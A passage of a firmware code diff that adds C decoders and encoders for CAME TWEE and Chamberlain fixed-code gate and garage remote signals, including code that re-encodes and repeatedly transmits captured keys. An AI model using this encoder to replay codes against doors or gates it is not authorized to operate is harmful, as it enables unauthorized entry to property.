subghz_protocol_came_twee_remote_controller(&instance->generic);
|
||||
uint32_t code_found_hi = instance->generic.data >> 32;
|
||||
uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
|
||||
|
||||
// push protocol data to global variable
|
||||
subghz_block_generic_global.btn_is_available = false;
|
||||
subghz_block_generic_global.current_btn = instance->generic.btn;
|
||||
subghz_block_generic_global.btn_length_bit = 4;
|
||||
//
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %db\r\n"
|
||||
"Key:0x%lX%08lX\r\n"
|
||||
"Btn:%X\r\n"
|
||||
"DIP:" DIP_PATTERN "\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
code_found_hi,
|
||||
code_found_lo,
|
||||
instance->generic.btn,
|
||||
CNT_TO_DIP(instance->generic.cnt));
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
#pragma once
|
||||
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_CAME_TWEE_NAME "CAME TWEE"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderCameTwee SubGhzProtocolDecoderCameTwee;
|
||||
typedef struct SubGhzProtocolEncoderCameTwee SubGhzProtocolEncoderCameTwee;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_came_twee_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_came_twee_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_came_twee;
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderCameTwee.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderCameTwee* pointer to a SubGhzProtocolEncoderCameTwee instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_came_twee_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderCameTwee.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
|
||||
*/
|
||||
void subghz_protocol_encoder_came_twee_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
|
||||
*/
|
||||
void subghz_protocol_encoder_came_twee_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
LevelDuration subghz_protocol_encoder_came_twee_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderCameTwee.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderCameTwee* pointer to a SubGhzProtocolDecoderCameTwee instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_came_twee_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderCameTwee.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
|
||||
*/
|
||||
void subghz_protocol_decoder_came_twee_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderCameTwee.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
|
||||
*/
|
||||
void subghz_protocol_decoder_came_twee_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_came_twee_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_came_twee_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderCameTwee.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_came_twee_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderCameTwee.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_came_twee_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,505 @@
|
||||
#include "chamberlain_code.h"
|
||||
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
#define TAG "SubGhzProtocolChambCode"
|
||||
|
||||
#define CHAMBERLAIN_CODE_BIT_STOP 0b0001
|
||||
#define CHAMBERLAIN_CODE_BIT_1 0b0011
|
||||
#define CHAMBERLAIN_CODE_BIT_0 0b0111
|
||||
|
||||
#define CHAMBERLAIN_7_CODE_MASK 0xF000000FF0F
|
||||
#define CHAMBERLAIN_8_CODE_MASK 0xF00000F00F
|
||||
#define CHAMBERLAIN_9_CODE_MASK 0xF000000000F
|
||||
|
||||
#define CHAMBERLAIN_7_CODE_MASK_CHECK 0x10000001101
|
||||
#define CHAMBERLAIN_8_CODE_MASK_CHECK 0x1000001001
|
||||
#define CHAMBERLAIN_9_CODE_MASK_CHECK 0x10000000001
|
||||
|
||||
#define CHAMBERLAIN_7_CODE_DIP_PATTERN "%c%c%c%c%c%c%c"
|
||||
#define CHAMBERLAIN_7_CODE_DATA_TO_DIP(dip) \
|
||||
(dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'), \
|
||||
(dip & 0x0008 ? '1' : '0'), (dip & 0x0004 ? '1' : '0'), (dip & 0x0002 ? '1' : '0'), \
|
||||
(dip & 0x0001 ? '1' : '0')
|
||||
|
||||
#define CHAMBERLAIN_8_CODE_DIP_PATTERN "%c%c%c%c%cx%c%c"
|
||||
#define CHAMBERLAIN_8_CODE_DATA_TO_DIP(dip) \
|
||||
(dip & 0x0080 ? '1' : '0'), (dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'), \
|
||||
(dip & 0x0010 ? '1' : '0'), (dip & 0x0008 ? '1' : '0'), (dip & 0x0001 ? '1' : '0'), \
|
||||
(dip & 0x0002 ? '1' : '0')
|
||||
|
||||
#define CHAMBERLAIN_9_CODE_DIP_PATTERN "%c%c%c%c%c%c%c%c%c"
|
||||
#define CHAMBERLAIN_9_CODE_DATA_TO_DIP(dip) \
|
||||
(dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'), (dip & 0x0040 ? '1' : '0'), \
|
||||
(dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'), (dip & 0x0008 ? '1' : '0'), \
|
||||
(dip & 0x0001 ? '1' : '0'), (dip & 0x0002 ? '1' : '0'), (dip & 0x0004 ? '1' : '0')
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_chamb_code_const = {
|
||||
.te_short = 1000,
|
||||
.te_long = 3000,
|
||||
.te_delta = 200,
|
||||
.min_count_bit_for_found = 10,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderChamb_Code {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderChamb_Code {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
Chamb_CodeDecoderStepReset = 0,
|
||||
Chamb_CodeDecoderStepFoundStartBit,
|
||||
Chamb_CodeDecoderStepSaveDuration,
|
||||
Chamb_CodeDecoderStepCheckDuration,
|
||||
} Chamb_CodeDecoderStep;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_chamb_code_decoder = {
|
||||
.alloc = subghz_protocol_decoder_chamb_code_alloc,
|
||||
.free = subghz_protocol_decoder_chamb_code_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_chamb_code_feed,
|
||||
.reset = subghz_protocol_decoder_chamb_code_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_chamb_code_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_chamb_code_serialize,
|
||||
.deserialize = subghz_protocol_decoder_chamb_code_deserialize,
|
||||
.get_string = subghz_protocol_decoder_chamb_code_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_chamb_code_encoder = {
|
||||
.alloc = subghz_protocol_encoder_chamb_code_alloc,
|
||||
.free = subghz_protocol_encoder_chamb_code_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_chamb_code_deserialize,
|
||||
.stop = subghz_protocol_encoder_chamb_code_stop,
|
||||
.yield = subghz_protocol_encoder_chamb_code_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_chamb_code = {
|
||||
.name = SUBGHZ_PROTOCOL_CHAMB_CODE_NAME,
|
||||
.type = SubGhzProtocolTypeStatic,
|
||||
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_chamb_code_decoder,
|
||||
.encoder = &subghz_protocol_chamb_code_encoder,
|
||||
};
|
||||
|
||||
void* subghz_protocol_encoder_chamb_code_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderChamb_Code* instance = malloc(sizeof(SubGhzProtocolEncoderChamb_Code));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_chamb_code;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 24;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_chamb_code_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderChamb_Code* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
static uint64_t subghz_protocol_chamb_bit_to_code(uint64_t data, uint8_t size) {
|
||||
uint64_t data_res = 0;
|
||||
for(uint8_t i = 0; i < size; i++) {
|
||||
if(!(bit_read(data, size - i - 1))) {
|
||||
data_res = data_res << 4 | CHAMBERLAIN_CODE_BIT_0;
|
||||
} else {
|
||||
data_res = data_res << 4 | CHAMBERLAIN_CODE_BIT_1;
|
||||
}
|
||||
}
|
||||
return data_res;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderChamb_Code instance
|
||||
* @return true On success
|
||||
*/
|
||||
static bool
|
||||
subghz_protocol_encoder_chamb_code_get_upload(SubGhzProtocolEncoderChamb_Code* instance) {
|
||||
furi_assert(instance);
|
||||
|
||||
uint64_t data = subghz_protocol_chamb_bit_to_code(
|
||||
instance->generic.data, instance->generic.data_count_bit);
|
||||
|
||||
switch(instance->generic.data_count_bit) {
|
||||
case 7:
|
||||
data = ((data >> 4) << 16) | (data & 0xF) << 4 | CHAMBERLAIN_7_CODE_MASK_CHECK;
|
||||
break;
|
||||
case 8:
|
||||
data = ((data >> 12) << 16) | (data & 0xFF) << 4 | CHAMBERLAIN_8_CODE_MASK_CHECK;
|
||||
break;
|
||||
case 9:
|
||||
data = (data << 4) | CHAMBERLAIN_9_CODE_MASK_CHECK;
|
||||
break;
|
||||
|
||||
default:
|
||||
FURI_LOG_E(TAG, "Invalid bits count");
|
||||
return false;
|
||||
break;
|
||||
}
|
||||
#define UPLOAD_HEX_DATA_SIZE 10
|
||||
uint8_t upload_hex_data[UPLOAD_HEX_DATA_SIZE] = {0};
|
||||
size_t upload_hex_count_bit = 0;
|
||||
|
||||
//insert guard time
|
||||
for(uint8_t i = 0; i < 36; i++) {
|
||||
subghz_protocol_blocks_set_bit_array(
|
||||
0, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
|
||||
}
|
||||
|
||||
//insert data
|
||||
switch(instance->generic.data_count_bit) {
|
||||
case 7:
|
||||
case 9:
|
||||
for(uint8_t i = 44; i > 0; i--) {
|
||||
if(!bit_read(data, i - 1)) {
|
||||
subghz_protocol_blocks_set_bit_array(
|
||||
0, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
|
||||
} else {
|
||||
subghz_protocol_blocks_set_bit_array(
|
||||
1, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
|
||||
}
|
||||
}
|
||||
break;
|
||||
case 8:
|
||||
for(uint8_t i = 40; i > 0; i--) {
|
||||
if(!bit_read(data, i - 1)) {
|
||||
subghz_protocol_blocks_set_bit_array(
|
||||
0, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
|
||||
} else {
|
||||
subghz_protocol_blocks_set_bit_array(
|
||||
1, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
instance->encoder.size_upload = subghz_protocol_blocks_get_upload_from_bit_array(
|
||||
upload_hex_data,
|
||||
upload_hex_count_bit,
|
||||
instance->encoder.upload,
|
||||
instance->encoder.size_upload,
|
||||
subghz_protocol_chamb_code_const.te_short,
|
||||
SubGhzProtocolBlockAlignBitLeft);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderChamb_Code* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
if(instance->generic.data_count_bit >
|
||||
subghz_protocol_chamb_code_const.min_count_bit_for_found) {
|
||||
FURI_LOG_E(TAG, "Wrong number of bits in key");
|
||||
ret = SubGhzProtocolStatusErrorValueBitCount;
|
||||
break;
|
||||
}
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
if(!subghz_protocol_encoder_chamb_code_get_upload(instance)) {
|
||||
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
|
||||
break;
|
||||
}
|
||||
instance->encoder.is_running = true;
|
||||
|
||||
} while(false);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_chamb_code_stop(void* context) {
|
||||
SubGhzProtocolEncoderChamb_Code* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_chamb_code_yield(void* context) {
|
||||
SubGhzProtocolEncoderChamb_Code* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_chamb_code_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderChamb_Code* instance = malloc(sizeof(SubGhzProtocolDecoderChamb_Code));
|
||||
instance->base.protocol = &subghz_protocol_chamb_code;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_chamb_code_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderChamb_Code* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_chamb_code_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderChamb_Code* instance = context;
|
||||
instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
|
||||
}
|
||||
|
||||
static bool subghz_protocol_chamb_code_to_bit(uint64_t* data, uint8_t size) {
|
||||
uint64_t data_tmp = data[0];
|
||||
uint64_t data_res = 0;
|
||||
for(uint8_t i = 0; i < size; i++) {
|
||||
if((data_tmp & 0xFll) == CHAMBERLAIN_CODE_BIT_0) {
|
||||
bit_write(data_res, i, 0);
|
||||
} else if((data_tmp & 0xFll) == CHAMBERLAIN_CODE_BIT_1) {
|
||||
bit_write(data_res, i, 1);
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
data_tmp >>= 4;
|
||||
}
|
||||
data[0] = data_res;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool subghz_protocol_decoder_chamb_code_check_mask_and_parse(
|
||||
SubGhzProtocolDecoderChamb_Code* instance) {
|
||||
furi_assert(instance);
|
||||
if(instance->decoder.decode_count_bit >
|
||||
subghz_protocol_chamb_code_const.min_count_bit_for_found + 1)
|
||||
return false;
|
||||
|
||||
if((instance->decoder.decode_data & CHAMBERLAIN_7_CODE_MASK) ==
|
||||
CHAMBERLAIN_7_CODE_MASK_CHECK) {
|
||||
instance->decoder.decode_count_bit = 7;
|
||||
instance->decoder.decode_data &= ~CHAMBERLAIN_7_CODE_MASK;
|
||||
instance->decoder.decode_data = (instance->decoder.decode_data >> 12) |
|
||||
((instance->decoder.decode_data >> 4) & 0xF);
|
||||
} else if(
|
||||
(instance->decoder.decode_data & CHAMBERLAIN_8_CODE_MASK) ==
|
||||
CHAMBERLAIN_8_CODE_MASK_CHECK) {
|
||||
instance->decoder.decode_count_bit = 8;
|
||||
instance->decoder.decode_data &= ~CHAMBERLAIN_8_CODE_MASK;
|
||||
instance->decoder.decode_data = instance->decoder.decode_data >> 4 |
|
||||
CHAMBERLAIN_CODE_BIT_0 << 8; //DIP 6 no use
|
||||
} else if(
|
||||
(instance->decoder.decode_data & CHAMBERLAIN_9_CODE_MASK) ==
|
||||
CHAMBERLAIN_9_CODE_MASK_CHECK) {
|
||||
instance->decoder.decode_count_bit = 9;
|
||||
instance->decoder.decode_data &= ~CHAMBERLAIN_9_CODE_MASK;
|
||||
instance->decoder.decode_data >>= 4;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
return subghz_protocol_chamb_code_to_bit(
|
||||
&instance->decoder.decode_data, instance->decoder.decode_count_bit);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_chamb_code_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderChamb_Code* instance = context;
|
||||
switch(instance->decoder.parser_step) {
|
||||
case Chamb_CodeDecoderStepReset:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short * 39) <
|
||||
subghz_protocol_chamb_code_const.te_delta * 20)) {
|
||||
//Found header Chamb_Code
|
||||
instance->decoder.parser_step = Chamb_CodeDecoderStepFoundStartBit;
|
||||
}
|
||||
break;
|
||||
case Chamb_CodeDecoderStepFoundStartBit:
|
||||
if((level) && (DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short) <
|
||||
subghz_protocol_chamb_code_const.te_delta)) {
|
||||
//Found start bit Chamb_Code
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
instance->decoder.decode_data = instance->decoder.decode_data << 4 |
|
||||
CHAMBERLAIN_CODE_BIT_STOP;
|
||||
instance->decoder.decode_count_bit++;
|
||||
instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
case Chamb_CodeDecoderStepSaveDuration:
|
||||
if(!level) { //save interval
|
||||
if(duration > subghz_protocol_chamb_code_const.te_short * 5) {
|
||||
if(instance->decoder.decode_count_bit >=
|
||||
subghz_protocol_chamb_code_const.min_count_bit_for_found) {
|
||||
instance->generic.serial = 0x0;
|
||||
instance->generic.btn = 0x0;
|
||||
if(subghz_protocol_decoder_chamb_code_check_mask_and_parse(instance)) {
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
}
|
||||
instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
|
||||
} else {
|
||||
instance->decoder.te_last = duration;
|
||||
instance->decoder.parser_step = Chamb_CodeDecoderStepCheckDuration;
|
||||
}
|
||||
} else {
|
||||
instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
case Chamb_CodeDecoderStepCheckDuration:
|
||||
if(level) {
|
||||
if((DURATION_DIFF( //Found stop bit Chamb_Code
|
||||
instance->decoder.te_last,
|
||||
subghz_protocol_chamb_code_const.te_short * 3) <
|
||||
subghz_protocol_chamb_code_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short) <
|
||||
subghz_protocol_chamb_code_const.te_delta)) {
|
||||
instance->decoder.decode_data = instance->decoder.decode_data << 4 |
|
||||
CHAMBERLAIN_CODE_BIT_STOP;
|
||||
instance->decoder.decode_count_bit++;
|
||||
instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
|
||||
} else if(
|
||||
(DURATION_DIFF(
|
||||
instance->decoder.te_last, subghz_protocol_chamb_code_const.te_short * 2) <
|
||||
subghz_protocol_chamb_code_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short * 2) <
|
||||
subghz_protocol_chamb_code_const.te_delta)) {
|
||||
instance->decoder.decode_data = instance->decoder.decode_data << 4 |
|
||||
CHAMBERLAIN_CODE_BIT_1;
|
||||
instance->decoder.decode_count_bit++;
|
||||
instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
|
||||
} else if(
|
||||
(DURATION_DIFF(
|
||||
instance->decoder.te_last, subghz_protocol_chamb_code_const.te_short) <
|
||||
subghz_protocol_chamb_code_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short * 3) <
|
||||
subghz_protocol_chamb_code_const.te_delta)) {
|
||||
instance->decoder.decode_data = instance->decoder.decode_data << 4 |
|
||||
CHAMBERLAIN_CODE_BIT_0;
|
||||
instance->decoder.decode_count_bit++;
|
||||
instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
|
||||
}
|
||||
|
||||
} else {
|
||||
instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_chamb_code_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderChamb_Code* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_chamb_code_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderChamb_Code* instance = context;
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderChamb_Code* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
if(instance->generic.data_count_bit >
|
||||
subghz_protocol_chamb_code_const.min_count_bit_for_found) {
|
||||
FURI_LOG_E(TAG, "Wrong number of bits in key");
|
||||
ret = SubGhzProtocolStatusErrorValueBitCount;
|
||||
break;
|
||||
}
|
||||
} while(false);
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_chamb_code_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderChamb_Code* instance = context;
|
||||
|
||||
uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
|
||||
|
||||
uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
|
||||
instance->generic.data, instance->generic.data_count_bit);
|
||||
|
||||
uint32_t code_found_reverse_lo = code_found_reverse & 0x00000000ffffffff;
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %db\r\n"
|
||||
"Key:0x%03lX\r\n"
|
||||
"Yek:0x%03lX\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
code_found_lo,
|
||||
code_found_reverse_lo);
|
||||
|
||||
switch(instance->generic.data_count_bit) {
|
||||
case 7:
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"DIP:" CHAMBERLAIN_7_CODE_DIP_PATTERN "\r\n",
|
||||
CHAMBERLAIN_7_CODE_DATA_TO_DIP(code_found_lo));
|
||||
break;
|
||||
case 8:
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"DIP:" CHAMBERLAIN_8_CODE_DIP_PATTERN "\r\n",
|
||||
CHAMBERLAIN_8_CODE_DATA_TO_DIP(code_found_lo));
|
||||
break;
|
||||
case 9:
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"DIP:" CHAMBERLAIN_9_CODE_DIP_PATTERN "\r\n",
|
||||
CHAMBERLAIN_9_CODE_DATA_TO_DIP(code_found_lo));
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
#pragma once
|
||||
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_CHAMB_CODE_NAME "Cham_Code"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderChamb_Code SubGhzProtocolDecoderChamb_Code;
|
||||
typedef struct SubGhzProtocolEncoderChamb_Code SubGhzProtocolEncoderChamb_Code;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_chamb_code_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_chamb_code_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_chamb_code;
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderChamb_Code.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderChamb_Code* pointer to a SubGhzProtocolEncoderChamb_Code instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_chamb_code_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderChamb_Code.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
|
||||
*/
|
||||
void subghz_protocol_encoder_chamb_code_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
|
||||
*/
|
||||
void subghz_protocol_encoder_chamb_code_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
